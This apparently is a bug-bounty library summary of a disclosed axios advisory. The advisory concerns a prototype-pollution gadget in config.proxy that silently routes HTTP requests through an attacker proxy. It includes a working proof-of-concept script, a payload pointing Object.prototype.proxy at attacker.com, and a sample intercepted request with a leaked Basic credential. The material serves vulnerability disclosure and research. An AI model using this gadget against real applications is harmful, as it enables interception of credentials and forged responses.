# axios Vulnerable to Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy`

Axios reads config.proxy through the prototype chain, so any Object.prototype pollution in the dependency tree silently routes all HTTP requests through an attacker proxy, leaking credentials.

- Payout: Research
- Severity: high
- Program: Axios
- Found by: August829
- Disclosed: 2026-05-29
- CVE: CVE-2026-44494
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-35jp-ww65-95wh
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-35jp-ww65-95wh
- Tags: area:oss domain:oss impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:nodejs technique:chained technique:source-review vuln:prototype-pollution

**Target:** npm axios HTTP adapter (lib/adapters/http.js) config.proxy handling
**Root cause:** proxy is absent from Axios defaults, so mergeConfig never creates an own property; http.js reads config.proxy via plain property access, traversing the prototype chain to a polluted Object.prototype.proxy, which setProxy() then uses to reroute all requests.
**Steps:**
1. Pollute the prototype via any PP-capable dependency: `Object.prototype.proxy = { host: 'attacker.com', port: 8080, protocol: 'http' }`
2. Application makes a normal request: `await axios.get('https://api.internal.corp/secrets', { auth: { username: 'svc-account', password: 'prod-key-abc123!' } })`
3. At http.js:668-670, `config.proxy` resolves through the prototype chain to the polluted object
4. setProxy() sets `options.hostname = proxy.hostname || proxy.host`, `options.port = proxy.port`, `options.path = location`, routing the request to the attacker
5. Attacker proxy receives the full URL and `Authorization: Basic ...` header and returns arbitrary responses
**How found:** Source code audit comparing against the prior transformResponse PP gadget (GHSA-fvcv-3m26-pcqx): noticed proxy is not in defaults, so mergeConfig never calls defaultToConfig2 for it, leaving no own property and making plain property access at http.js:670 prototype-chain-traversable.
**Exploitation:** Attacker first achieves Object.prototype pollution through any vulnerable parser in the stack (qs, minimist, lodash, body-parser), setting Object.prototype.proxy to their host/port. Every subsequent axios HTTP request — including hardcoded, correctly-configured ones — is transparently proxied to the attacker, who reads Authorization headers, cookies, bodies and internal hostnames, and can forge any response. No user interaction or config error required.
**Escalation:** Universal scope: affects every axios request in the process, including third-party libraries using axios; bypasses the v1.15.0 header-sanitization fix and mergeConfig entirely, unlike the constrained transformResponse gadget.
**Insight:** When auditing PP gadgets, enumerate config keys read by the sink that are absent from the library's defaults — mergeConfig only sanitizes keys present in defaults, so any default-absent security-sensitive key (proxy, socketPath, transport, lookup, beforeRedirect, httpAgent) is directly prototype-injectable.

## Proof of concept (copied exactly from the original report)

**Verified PoC script hijacking axios via polluted proxy**

```
import http from 'http';
import axios from './index.js';

// Attacker's proxy server
const intercepted = [];
const proxyServer = http.createServer((req, res) => {
  intercepted.push({
    url: req.url,
    authorization: req.headers.authorization,
    headers: req.headers,
  });
  res.writeHead(200, { 'Content-Type': 'application/json' });
  res.end('{"hijacked":true}');
});
await new Promise(r => proxyServer.listen(0, r));
const proxyPort = proxyServer.address().port;

// Real target server
const realServer = http.createServer((req, res) => {
  res.writeHead(200);
  res.end('{"data":"real"}');
});
await new Promise(r => realServer.listen(0, r));
const realPort = realServer.address().port;

// Prototype pollution
Object.prototype.proxy = { host: '127.0.0.1', port: proxyPort, protocol: 'http' };

// "Safe" request — goes through attacker's proxy
const resp = await axios.get(`http://127.0.0.1:${realPort}/api/secrets`, {
  auth: { username: 'admin', password: 'SuperSecret123!' }
});

console.log('Response from:', resp.data.hijacked ? 'ATTACKER PROXY' : 'real server');
console.log('Intercepted Authorization:', intercepted[0]?.authorization);
// Output: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh (= admin:SuperSecret123!)

delete Object.prototype.proxy;
realServer.close();
proxyServer.close();
```

**Prototype pollution payload setting Object.prototype.proxy**

```
Object.prototype.proxy = {
  host: 'attacker.com',
  port: 8080,
  protocol: 'http',
};
```

**Intercepted request showing leaked Authorization header**

```
GET http://api.internal.corp/secrets HTTP/1.1
Host: api.internal.corp
Authorization: Basic c3ZjLWFjY291bnQ6cHJvZC1rZXktYWJjMTIzIQ==
User-Agent: axios/1.15.0
Accept: application/json, text/plain, */*
```

